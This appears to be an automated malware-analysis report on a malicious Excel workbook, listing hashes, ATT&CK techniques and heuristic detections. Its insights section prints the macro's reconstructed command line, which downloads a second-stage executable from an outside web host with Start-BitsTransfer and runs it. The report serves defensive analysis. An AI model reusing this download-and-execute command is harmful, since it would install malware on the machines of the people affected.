Office (OLE) / .XLS malware analysis — malicious · 7bdc1c4d7eb4471e

MALICIOUS

Office (OLE) / .XLS

74.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 7a149796e5ba1764a214148af241d33c SHA-1: a3b9d39fafbb8eba99ef7d313b2963078a95a80c SHA-256: 7bdc1c4d7eb4471e5dcf71713b266066df99928f7be8732bfb36fe153f0f5e80

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell

The Workbook_Open macro executes a command that constructs a URL to download a second-stage payload. The reconstructed command line is: C:\Users\Public\Documents\travelespecially.cmd -w hi sleep -Se 31;Start-BitsTransfer -Source http://greenpayindia.com/wp-conternt/ConsoleApp18.exe -Destination C:\Users\Public\Documents\brotherneed.exe;C:\Users\Public\Documents\brotherneed.exe. This script downloads and executes a second-stage payload from the embedded URL.

Heuristics 5

Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `5fc878911f6fdaca894cc0a9df073ca5ac8389c689f7c1b606d0da25e8345b9c`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1227 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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